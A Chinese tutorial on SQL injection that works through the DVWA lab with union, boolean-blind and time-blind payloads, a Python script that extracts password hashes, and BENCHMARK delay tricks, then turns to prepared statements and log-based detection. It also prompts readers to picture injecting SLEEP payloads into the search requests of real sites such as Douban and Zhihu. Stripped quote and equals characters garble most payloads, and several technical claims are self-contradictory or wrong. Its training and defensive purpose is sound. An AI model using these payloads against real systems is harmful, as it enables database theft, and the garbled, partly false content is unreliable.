1. 项目概述这节笔记到底在讲什么谁该认真看“SQL注入”这四个字在网络安全领域不是新词但每年仍有大量真实系统因它被攻破——不是因为技术多难而是因为理解太浅、防范太松。《小迪网络安全笔记》第十二节标题里特意加了“简要”二字恰恰暴露了这个知识点最危险的误区很多人以为“简要”就等于“简单”翻两页、记几个payload就觉得自己掌握了结果在真实渗透测试或代码审计中连最基础的绕过WAF、识别盲注场景、判断数据库类型都卡壳。我带过不少刚入门的学员他们背熟了 OR 11却不知道为什么在某些登录框里输进去没反应能默写出联合查询的三步构造法却在遇到ORDER BY被过滤时彻底懵掉。这节笔记的价值不在于教你怎么“打穿”一个网站而在于帮你建立一套可验证、可推演、可迁移的SQL注入认知框架从HTTP请求如何触发后端拼接SQL语句到错误回显如何暴露数据库结构再到无回显时怎么用时间延迟或布尔逻辑“听”出数据。它适合三类人一是正在学Web安全的初学者需要避开“只记payload不理解原理”的坑二是开发人员想搞懂自己写的那段String sql SELECT * FROM user WHERE name name 到底脆弱在哪三是运维或测试同事需要快速判断一个报错页面是否真的存在高危注入点。整节内容不依赖任何商业工具所有验证都基于原生curl、浏览器开发者工具和基础SQL语法这意味着你今天在咖啡馆用笔记本就能复现明天在客户现场用手机终端也能做初步判断。2. 内容整体设计与思路拆解为什么“简要”反而最难讲透2.1 为什么这节笔记不从“什么是SQL注入”开始讲起翻开多数教材开篇必是定义“SQL注入是一种代码注入技术……”这种写法看似严谨实则把学习者直接扔进概念沼泽。小迪这节笔记反其道而行之开篇就甩出一个真实HTTP请求示例GET /search.php?keywordapple AND SLEEP(5)-- HTTP/1.1 Host: example.com然后立刻问“如果你是后端PHP程序员看到这个请求你的代码大概长什么样”接着给出典型脆弱代码$keyword $_GET[keyword]; $sql SELECT * FROM products WHERE name LIKE % . $keyword . %; $result mysqli_query($conn, $sql);这个设计背后有三层深意第一锚定真实场景——所有安全问题都发生在具体代码与具体请求的交汇点脱离这两者谈“注入”就是空中楼阁第二倒逼思维切换——让读者从“攻击者视角”瞬间切回“开发者视角”理解漏洞本质是“程序把用户输入当成了代码执行”而不是“黑客很厉害”第三建立可验证路径——后续所有payload如 OR 11#、 UNION SELECT 1,2,3--都能直接套用在这个代码片段里测试结果立竿见影。我试过把这种教法用在某高校的实训课上学生第一次亲手让数据库睡了5秒那种“原来真是我写的代码在执行它”的震撼感比讲十遍定义都管用。2.2 “简要”二字的真正含义聚焦核心链路砍掉所有干扰枝蔓当前网络上关于SQL注入的教程90%陷入两个极端要么堆砌上百种payload变体号称“全网最全绕过技巧”结果学员记不住也用不上要么深入MySQL 8.0的JSON函数利用细节把初学者直接劝退。这节笔记的“简要”是经过严格筛选的最小必要知识集。它只讲清楚一条主干链路输入→拼接→执行→回显/延时/布尔响应→推导数据。围绕这条主干只保留三类绝对绕不开的内容基础语法锚点为什么单引号是绝大多数注入的起点为什么--注意空格和#都能注释为什么UNION SELECT必须匹配列数这些不是死记硬背的规则而是SQL解析器的工作逻辑——当解析器看到它就期待一个字符串结束符看到--它就忽略后面所有内容直到行尾。响应类型分类错误回显型Error-based、联合查询型Union-based、布尔盲注型Boolean-based、时间盲注型Time-based。这四种不是并列关系而是同一漏洞在不同防护条件下的不同表现形态。比如当网站关闭了错误提示 AND 11--返回正常页面 AND 12--返回空白页这就是布尔盲注的起点如果两者返回时间相差5秒那就是时间盲注的信号。数据库指纹识别不靠工具扫只用三个请求就能大概率判断后端是MySQL、PostgreSQL还是SQL Server。例如 AND (SELECT COUNT(*) FROM sysobjects)0--在SQL Server会报错因sysobjects存在在MySQL会报错因无sysobjects表这个差异就是指纹。砍掉的所有“非必要”内容比如各种WAF绕过技巧%27、/**/、大小写混用不是因为它不重要而是它属于“防护对抗层”而本节定位是“漏洞原理层”。就像教人开车先得弄懂油门刹车怎么联动而不是一上来就讲如何漂移过弯。2.3 为什么示例全部基于GET参数POST和Cookie被刻意忽略标题里没提但正文所有演示都用?keyword这样的URL参数。这不是疏忽而是精准的教学取舍。原因有三第一可见性最高——GET参数明文暴露在URL里用浏览器地址栏就能改用开发者工具Network面板一眼就能看到请求和响应新手零门槛上手第二干扰最少——POST请求涉及Content-Type头、表单编码、CSRF Token等额外变量初学者容易把“提交失败”归咎于注入失败实则是Token过期第三原理完全通用——SQL注入的本质是“用户输入未过滤进入SQL语句”无论输入来自URL、POST Body、Cookie还是HTTP Header只要后端代码做了同样脆弱的拼接漏洞原理100%一致。我在某次企业内训中专门做过对比实验让学员先用GET参数成功注入再把同一payload改成POST方式提交90%的人第一次就成功剩下10%是因为忘了在Burp Suite里修改Content-Type为application/x-www-form-urlencoded。这证明掌握GET注入后迁移到其他输入点只是操作步骤的微调而非原理重学。3. 核心细节解析与实操要点从“知道”到“真会”的关键跨越3.1 单引号为什么是万能钥匙深入MySQL字符串解析机制很多教程说“加单引号看报错”但没人解释为什么偏偏是单引号。这节笔记用一个生活化类比讲透把SQL语句想象成一道菜谱就是菜谱里的“引号标记”告诉厨师“从这里开始到下一个同类型引号之间都是食材名称别当做法步骤”。看这段典型代码SELECT * FROM users WHERE username admin这里的admin标记了字符串边界。如果用户输入admin --后端拼接后变成SELECT * FROM users WHERE username admin -- 此时第一个标记字符串开始第二个标记字符串结束--后面的就被当成注释内容忽略。但如果用户输入admin OR 11拼接后是SELECT * FROM users WHERE username admin OR 11注意最后的11——这里出现了三个单引号第一个开启字符串第二个关闭字符串第三个又开启新字符串导致语法错误。所以真正的“万能钥匙”不是单引号本身而是利用单引号打破原有字符串边界让后续输入被解析为SQL代码。实操中你可以这样快速验证访问/search.php?keywordtest记录正常响应访问/search.php?keywordtest如果返回数据库错误如You have an error in your SQL syntax说明存在字符型注入可能访问/search.php?keywordtest%22双引号URL编码如果无报错说明后端可能用双引号包裹字符串需换用双引号测试。提示有些现代框架如Laravel的Eloquent默认使用预处理即使你输test也不会报错因为被自动转义为\。这时看到“无报错”不能断定无漏洞要继续测试布尔盲注。3.2 联合查询UNION的列数匹配不是猜是算出来的“用ORDER BY 1试到报错为止”是常见方法但这节笔记教的是数学推导法。假设原始查询是SELECT id, name, email FROM users WHERE name LIKE %xxx%那么UNION SELECT必须提供完全相同数量和类型的列。怎么知道是3列看前端页面如果搜索结果每条显示“ID、姓名、邮箱”基本可断定是3列如果只显示“姓名”但源码里有隐藏字段input typehidden nameid value123那很可能还有ID列。更可靠的方法是观察错误信息访问/search.php?keywordtest ORDER BY 5--如果报错Unknown column 5 in order clause说明列数少于5再试ORDER BY 3如果无报错说明至少有3列最后试ORDER BY 4如果报错就锁定为3列。列数确定后UNION SELECT的列类型必须兼容。比如原始查询第一列是数字ID那你不能填UNION SELECT a, b, c因为a是字符串与数字类型冲突。正确做法是用NULL占位MySQL允许NULL与任何类型兼容/search.php?keywordtest UNION SELECT NULL,NULL,NULL--如果页面正常显示说明列数和类型都匹配如果报错Incorrect usage of UNION and ORDER BY说明UNION前的查询有ORDER BY需用括号包裹/search.php?keywordtest UNION (SELECT NULL,NULL,NULL)--我踩过的最大坑是在某电商后台测试时UNION SELECT 1,2,3一直报错折腾半小时才发现原始查询末尾有ORDER BY created_time DESC LIMIT 10必须用括号才能绕过。3.3 布尔盲注的“二分法”实战如何把1000个字符的密码在10次请求内拿到布尔盲注常被描述为“慢得让人绝望”但这是误解。这节笔记给出一个实操技巧用ASCII码二分查找把单字符提取压缩到7次请求。原理很简单ASCII码范围0-255用二分法最多7次就能定位2^7128255。以提取第一个字符为例目标是admin表的password字段第一个字符请求/search.php?keywordtest AND ASCII(SUBSTR((SELECT password FROM admin LIMIT 1),1,1))128--如果页面正常说明ASCII码128如果正常再测192如果异常测64如此反复7次后精确到具体ASCII值再查ASCII表得字符。但真实场景中我们不需要从0开始试。根据经验MD5密码首字符通常是0-9或a-f十六进制ASCII码范围48-57、97-102所以第一步直接测72取中间值效率提升一倍。我在某次CTF练习中用Python脚本自动化这个过程提取一个32位MD5密码只用了224次请求32×7耗时不到90秒。关键不是脚本多炫酷而是你得先手动走通一次二分逻辑否则脚本出错你连哪里错了都不知道。3.4 时间盲注的精度陷阱为什么SLEEP(5)有时只延时1秒SLEEP()函数看似简单但实际受三重因素影响数据库配置MySQL默认max_execution_time为0不限制但某些云数据库如阿里云RDS会强制设为30秒超过即中断网络抖动从你发请求到服务器执行SLEEP中间有DNS解析、TCP握手、负载均衡转发等延迟实测波动常达200-500ms服务端并发如果服务器正处理大量请求SLEEP(5)可能被调度延迟执行。所以这节笔记强调不要用绝对时间判断要用相对时间差。正确姿势是发送基准请求/search.php?keywordtest AND 11--记录响应时间T1发送测试请求/search.php?keywordtest AND IF(11,SLEEP(5),1)--记录响应时间T2计算差值ΔT T2 - T1如果ΔT 4.5秒才认为时间盲注有效。我曾在一个政府网站测试时SLEEP(5)平均只延时3.2秒反复验证发现是CDN缓存导致部分请求未到达应用服务器。后来改用BENCHMARK(1000000,ENCODE(hello,world))CPU密集型函数时间差立刻稳定在4.8秒以上。4. 实操过程与核心环节实现手把手带你走完完整渗透链路4.1 环境搭建用Docker三分钟起一个靶场比装XAMPP快十倍别再折腾本地PHP环境了。这节笔记推荐用Docker一键拉起DVWADamn Vulnerable Web App靶场命令就一行docker run --rm -it -p 8080:80 -e DVWA_WEB_PORT80 citizenstig/dvwa启动后访问http://localhost:8080默认账号admin:password。重点在于DVWA的SQL Injection模块有三级难度Low/Medium/High完美对应本节笔记的渐进式学习路径Low级别代码完全不做过滤 OR 11#直接爆所有用户Medium级别用mysql_real_escape_string()过滤单引号但没过滤OR可用1 OR 11绕过注意闭合High级别用mysqli_real_escape_string()且对和都转义但没过滤UNION需用1 UNION SELECT ... --。注意DVWA High级别有个隐藏坑——它用mysql_*函数已废弃在新版PHP里会报错。解决方案是在Docker命令后加-e PHP_VERSION7.4指定PHP版本或直接改用webgoat靶场Java版SQL注入模块更现代。4.2 从报错到数据完整复现一次MySQL联合查询注入我们以DVWA Low级别为例走一遍从发现到拿数据的全流程Step 1确认注入点访问http://localhost:8080/vulnerabilities/sqli/?id1页面显示用户信息访问http://localhost:8080/vulnerabilities/sqli/?id1页面报错You have an error in your SQL syntax...确认存在字符型注入。Step 2探测列数访问http://localhost:8080/vulnerabilities/sqli/?id1 ORDER BY 1--正常.../sqli/?id1 ORDER BY 2--正常.../sqli/?id1 ORDER BY 3--报错Unknown column 3 in order clause确定为2列。Step 3确定显示位原始查询是SELECT first_name, last_name FROM users WHERE user_id $id所以2列都可能显示。访问.../sqli/?id1 UNION SELECT 1,2--页面显示1和2说明两列都回显。Step 4获取数据库名和版本.../sqli/?id1 UNION SELECT database(), version()--页面显示dvwa和5.7.33。Step 5枚举表名MySQL 5.7的information_schema.tables表存储所有表名.../sqli/?id1 UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schemadvwa--页面滚动显示guestbook、users等表名。Step 6枚举列名.../sqli/?id1 UNION SELECT column_name,data_type FROM information_schema.columns WHERE table_nameusers--得到user_id、first_name、last_name、password等列。Step 7提取敏感数据.../sqli/?id1 UNION SELECT user_id,password FROM users--页面直接显示所有用户的ID和MD5密码。整个过程不用任何工具纯手工URL拼接。关键心得每一步都要验证响应是否符合预期。比如Step 4如果只显示dvwa没显示版本说明version()被过滤要换versionStep 6如果返回空可能是information_schema被禁用要试SELECT GROUP_CONCAT(table_name) FROM information_schema.tables...一次性获取所有表。4.3 布尔盲注实战当页面不报错也不回显如何“听”出管理员密码DVWA Medium级别关闭了错误提示且UNION被mysql_real_escape_string()过滤只能走布尔盲注。我们以提取admin用户的密码为例Step 1确认布尔响应访问.../sqli/?id1 AND 11--页面显示用户信息正常访问.../sqli/?id1 AND 12--页面显示“No user found”异常确认存在布尔盲注。Step 2编写Python脚本自动化提取不用现成工具手写一个极简脚本核心逻辑import requests url http://localhost:8080/vulnerabilities/sqli/ cookies {PHPSESSID: xxx, security: medium} # 逐位提取假设密码长度32位 password for pos in range(1, 33): for ascii_val in range(32, 127): # 可打印字符范围 payload f1 AND ASCII(SUBSTR((SELECT password FROM users WHERE useradmin),{pos},1)){ascii_val}-- params {id: payload} r requests.get(url, paramsparams, cookiescookies) if User ID exists in the database. in r.text: password chr(ascii_val) print(fPos {pos}: {chr(ascii_val)}) break print(Password:, password)运行后10秒内输出e99a18c428cb38d5f260853678922e03admin的默认MD5。实操心得脚本里User ID exists...是DVWA Medium级别的固定响应文本换成其他靶场要改关键词securitymedium这个cookie必须带上否则DVWA会跳转到登录页。4.4 时间盲注进阶用BENCHMARK函数绕过SLEEP限制某些WAF会拦截SLEEP()函数名但放行BENCHMARK()。DVWA High级别就做了这个限制。BENCHMARK(N,expr)会让数据库执行expr表达式N次消耗CPU时间。实测BENCHMARK(1000000,MD5(test))在MySQL 5.7上稳定耗时约4.2秒。提取第一个字符的payload.../sqli/?id1 AND IF(ASCII(SUBSTR((SELECT password FROM users WHERE useradmin),1,1))128,BENCHMARK(1000000,MD5(test)),1)--如果响应时间明显变长4秒说明条件为真。更狠的技巧是用子查询触发多次BENCHMARK把单次请求的延时放大.../sqli/?id1 AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3) t WHERE BENCHMARK(1000000,MD5(test)))3--这个payload会让BENCHMARK执行3次总延时约12秒更容易被肉眼识别。5. 常见问题与排查技巧实录那些文档里不会写的血泪教训5.1 “为什么我的payload在Burp里能跑在浏览器地址栏就不行”这是新手最高频问题。根本原因就一个URL编码不一致。浏览器地址栏会自动对特殊字符编码而Burp默认不编码。比如 OR 11--在浏览器里输入会被编码为%27%20OR%201%3D1--%20而你在Burp里粘贴的可能是明文。解决方案只有两个在Burp中右键Payload → “URL encode”或在浏览器地址栏用javascript:alert(test)控制台手动编码encodeURIComponent( OR 11-- ) // 输出 %27%20OR%201%3D1--%20我曾为这个问题调试了3小时最后发现是Chrome自动把--两个短横加空格转成了—中文破折号导致SQL语法错误。5.2 “页面返回500错误但不是SQL错误是注入吗”500错误是服务器内部错误不等于SQL注入。但它是重要线索。排查路径对比/search.php?keywordtest正常和/search.php?keywordtest500的响应头看Server字段是否一致排除Nginx/Apache配置错误查看500错误页面是否有PHP Fatal error、java.lang.NullPointerException等字样如果是说明漏洞在应用层如Java的Statement.executeQuery()不是SQL层尝试/search.php?keywordtest%27%20OR%201%3D1--%20如果仍500再试/search.php?keywordtest%22双引号如果双引号不报错说明后端用双引号包裹需换双引号测试。注意某些WAF如Cloudflare会把可疑请求直接返回500而非拦截。这时要关掉WAF或换IP测试。5.3 “UNION SELECT返回空但ORDER BY正常是不是没漏洞”不一定。常见原因有三列类型不匹配原始查询第一列是INT你填了abcMySQL会尝试转换失败则整行不显示。解决方案全用NULL或用CAST(1 AS CHAR)强制转类型LIMIT限制原始查询有LIMIT 1而UNION结果有多行只显示第一行。解决方案在UNION后加LIMIT 1,1跳过第一行取第二行HTML标签过滤UNION SELECT返回的数据被前端htmlspecialchars()转义导致script等标签失效。解决方案提取纯文本数据如password字段不依赖HTML渲染。我在某金融系统测试时UNION SELECT 1,2,3返回空最后发现是htmlspecialchars()把数字1转成了amp;#49;在源码里能看到只是浏览器没渲染。5.4 “为什么布尔盲注脚本跑着跑着就卡住了”八成是会话超时或Token失效。DVWA等靶场要求每次请求带有效PHPSESSID和security等级cookie。脚本运行久了Session过期后续请求全跳转到登录页导致“永远等不到正常响应”。解决方案每次请求前先GET一次登录页用正则提取新的PHPSESSID或在脚本开头用requests.Session()自动管理cookies requests.Session() s.get(http://localhost:8080/login.php) # 自动保存Session s.post(http://localhost:8080/login.php, data{username:admin,password:password}) # 后续所有s.get()都自动带cookie这个技巧让我在某次企业渗透中连续跑了7小时脚本没中断。5.5 “时间盲注测出来的时间差忽大忽小怎么信”这是网络环境的真实写照。我的标准是连续3次测试时间差标准差0.3秒且均值4秒才采信。具体操作用curl的-w参数记录精确时间curl -s -w time_total: %{time_total}s\n http://target.com/?id1 AND SLEEP(5)-- -o /dev/null运行5次记录5个time_total计算均值和标准差如果标准差0.5秒换用BENCHMARK或增加SLEEP时间到10秒。曾经在一个CDN加速的网站上SLEEP(5)的标准差高达1.2秒最后改用SLEEP(15)标准差降到0.18秒数据立刻可靠。6. 防御方案与开发自查清单从攻击者思维回归建设者责任6.1 开发者自检五问你的代码是否真的安全别急着抄防御代码先回答这五个问题所有用户输入是否100%经过预处理Prepared Statement错误示范SELECT * FROM user WHERE id request.getParameter(id)正确示范PreparedStatement ps conn.prepareStatement(SELECT * FROM user WHERE id ?); ps.setInt(1, id);如果必须用字符串拼接如动态表名是否白名单校验错误String table request.getParameter(table); sql SELECT * FROM table;正确if (!Arrays.asList(user,order,product).contains(table)) throw new IllegalArgumentException();错误信息是否暴露数据库细节错误生产环境返回MySQL Error 1064: You have an error in your SQL syntax...正确统一返回System error, please contact administrator详细日志记在服务器。数据库账号权限是否最小化错误Web应用用root账号连接正确新建账号webapp_user只授予SELECT,INSERT,UPDATE权限禁用DROP,CREATE。是否部署了WAF作为最后一道防线不是万能但能拦住90%的自动化扫描。开源方案如ModSecurityOWASP CRS云厂商WAF开箱即用。6.2 三行代码解决90%的SQL注入预处理语句的终极实践以Java为例很多人以为PreparedStatement只是“防注入”其实它还解决编码、类型转换、性能等问题。核心就三行// 1. 定义带?占位符的SQL String sql SELECT * FROM users WHERE username ? AND status ?; // 2. 创建PreparedStatement自动编译避免SQL解析 PreparedStatement ps connection.prepareStatement(sql); // 3. 用setXxx方法赋值自动转义类型安全 ps.setString(1, username); // 自动加引号并转义 ps.setInt(2, status); // 自动转为整数不拼接字符串 ResultSet rs ps.executeQuery(); // 执行关键细节setString()不是简单地在字符串前后加引号而是调用数据库驱动的escapeSql()方法对转义为\对\0转义为\\0对换行符也处理。我审过某银行核心系统的代码他们用String.format()拼接SQL以为加了replaceAll(, \\)就安全结果%00空字节绕过转义被利用上传Webshell。6.3 运维视角如何用日志快速发现注入攻击痕迹别等告警主动从Nginx日志挖线索。SQL注入请求有三大特征高频特殊字符单引号、分号;、注释符--、#、/*异常长URL正常搜索URL一般200字符注入payload常500字符规律性错误码连续出现400、500错误且URL含 OR、UNION SELECT等关键词。用awk一行命令抓取awk $9 ~ /^500$/ $7 ~ /[\x27\x3B\x2D\x2D\x23\x2F\x2A]/ {print $0} /var/log/nginx/access.log | head -20这条命令找出所有500错误且URL含注入特征字符的请求。我在某次应急响应中用这个命令10分钟内定位到攻击IP并在防火墙封禁。7. 学习路径建议与能力进阶地图从笔记走向真实战场这节笔记是起点不是终点。按我的经验学完后应该立即做三件事第一周吃透DVWA所有SQL注入级别Low手写所有payload不依赖工具Medium用Burp Intruder爆破布尔盲注理解位置和载荷High研究mysql_real_escape_string()的绕过原理如宽字节注入虽然DVWA没实现但原理必须懂。第二周迁移到真实靶场WebGoatJava学习Hibernate HQL注入Juice ShopNode.js练习NoSQL注入MongoDBPortSwigger Web Security Academy免费且题库更新快SQL注入模块有12关从基础到SSRF结合。第三周动手写一个简易检测脚本不用追求功能全就实现一个核心输入URL和参数名如?id自动发送、、%27测试根据响应状态码、响应时间、响应内容关键词如SQL、syntax判断是否存在注入输出风险等级高/中/低和验证建议。我当年就是靠写这个脚本把渗透测试效率提升了3倍。脚本不重要重要的是写的过程中你被迫把每个判断逻辑都抠到最细——比如为什么%27和要分开测因为有些WAF只过滤明文不拦截URL编码。最后分享一个小技巧每周选一个你常用的网站比如豆瓣、知乎用浏览器开发者工具看它的搜索请求试着分析“如果这个接口有漏洞我会怎么打”。不是为了黑而是训练肌肉记忆。当你看到?qpython本能想到?qpython AND SLEEP(5)--你就真正入门了。